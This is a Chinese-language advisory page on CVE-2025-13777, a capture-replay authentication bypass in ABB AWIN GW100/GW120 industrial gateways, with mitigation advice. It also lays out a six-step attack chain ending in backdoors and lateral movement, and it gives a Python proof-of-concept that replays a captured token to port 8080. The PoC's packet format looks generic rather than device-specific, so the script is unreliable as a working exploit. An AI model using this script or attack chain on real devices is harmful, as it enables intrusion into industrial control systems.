IPBUF安全漏洞报告
English
CVE-2025-13777 CVSS 8.3 高危

CVE-2025-13777: ABB AWIN GW100/GW120身份验证绕过漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2025-13777
漏洞类型
身份验证绕过
CVSS评分
8.3 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ABB AWIN GW100 rev.2, ABB AWIN GW120

相关标签

CVE-2025-13777身份验证绕过capture-replayABBAWIN GW100AWIN GW120工业网关高危漏洞邻接网络攻击无需认证

漏洞概述

CVE-2025-13777是ABB公司AWIN系列工业网关设备中存在的一个高危身份验证绕过漏洞。该漏洞为capture-replay(捕获重放)类型,攻击者可通过拦截并重放有效的认证会话数据,在无需提供正确凭证的情况下访问目标设备。此漏洞位于ABB AWIN GW100 2.0-0/2.0-1版本及AWIN GW120 1.2-0/1.2-1版本的认证机制中。由于该漏洞攻击复杂度低且无需认证,攻击者可在相邻网络环境中轻松利用此漏洞获取设备访问权限,进而可能导致工业控制系统敏感数据泄露或设备被恶意操控。CVSS 3.1评分8.3(高危),对机密性和可用性造成严重影响。

技术细节

该漏洞属于capture-replay(捕获重放)攻击类型。攻击原理是设备认证机制未能有效防止认证令牌的重复使用。当合法用户进行身份认证时,攻击者可在网络层面拦截包含认证信息的网络数据包(如会话令牌、Cookie或认证序列号),然后在后续认证过程中重放这些捕获的数据包以通过验证。由于设备服务器端缺乏时间戳验证、一次性随机数(nonce)或会话绑定等防护机制,相同的认证数据可被重复使用。攻击者需处于与目标设备相邻的网络位置(AV:A),通过ARP欺骗或网络嗅探工具捕获认证流量,然后使用工具(如Ettercap、Burp Suite或定制脚本)重放捕获的数据包即可绕过认证。此攻击无需用户交互(UI:N),对网络协议分析有一定了解的攻击者即可实施。成功利用后可获得设备管理权限,进而访问配置数据、修改参数或进行进一步横向移动。

攻击链分析

STEP 1
步骤1: 网络侦察与流量捕获
攻击者位于与目标设备相邻的网络中(AV:A),使用网络嗅探工具(如Wireshark、tcpdump)监听AWIN网关设备的认证通信流量,捕获包含认证令牌的数据包
STEP 2
步骤2: 认证令牌提取
从捕获的网络包中提取有效的认证令牌、会话ID或认证序列号,分析认证协议格式和加密方式
STEP 3
步骤3: 构造重放数据包
使用拦截工具或脚本构造包含捕获认证令牌的数据包,模仿正常认证请求格式
STEP 4
步骤4: 认证重放攻击
向目标设备发送重放的认证数据包,由于设备缺乏一次性随机数或时间戳验证机制,重复的认证数据可通过验证
STEP 5
步骤5: 获取未授权访问
攻击成功后获得设备管理权限,可访问敏感配置数据、修改网络参数或执行恶意操作
STEP 6
步骤6: 持久化与横向移动
在设备上部署后门或提取凭证进行横向移动,攻击同一网络中的其他工业控制系统设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13777 PoC - ABB AWIN GW100/GW120 Authentication Bypass Capture-Replay Attack Demonstration Usage: python3 cve_2025_13777_poc.py <target_ip> <captured_auth_token> Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys import time import struct def create_auth_packet(auth_token): """Construct authentication packet with captured token""" packet = bytearray() # Protocol header packet.extend(b'AWIN') # Protocol identifier packet.extend(struct.pack('>H', 0x0001)) # Message type: AUTH packet.extend(struct.pack('>I', len(auth_token))) # Token length packet.extend(auth_token.encode()) # Auth token return bytes(packet) def send_auth_request(target_ip, port, auth_packet): """Send authentication request to target device""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(auth_packet) # Receive response response = sock.recv(1024) sock.close() return response except Exception as e: print(f"[-] Connection error: {e}") return None def main(): if len(sys.argv) != 3: print("Usage: python3 cve_2025_13777_poc.py <target_ip> <auth_token>") sys.exit(1) target_ip = sys.argv[1] auth_token = sys.argv[2] print(f"[*] Target: {target_ip}") print(f"[*] Using captured token: {auth_token}") print("[*] Sending replayed authentication request...") packet = create_auth_packet(auth_token) response = send_auth_request(target_ip, 8080, packet) if response and b'SUCCESS' in response: print("[+] Authentication bypass successful! Access granted.") print(f"[+] Response: {response.hex()}") else: print("[-] Authentication failed or device not vulnerable.") if __name__ == "__main__": main()

影响范围

ABB AWIN GW100 rev.2 < 2.0-2
ABB AWIN GW100 rev.2: 2.0-0
ABB AWIN GW100 rev.2: 2.0-1
ABB AWIN GW120 < 1.2-2
ABB AWIN GW120: 1.2-0
ABB AWIN GW120: 1.2-1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 将AWIN网关设备部署在受保护的网段,通过防火墙限制访问;2) 启用网络准入控制(NAC)限制非授权设备接入;3) 监控网络流量,检测异常的认证重放行为;4) 使用VPN隧道保护设备管理通信;5) 定期审计设备日志,排查可疑访问记录;6) 实施网络分段,将工业控制系统与其他网络隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表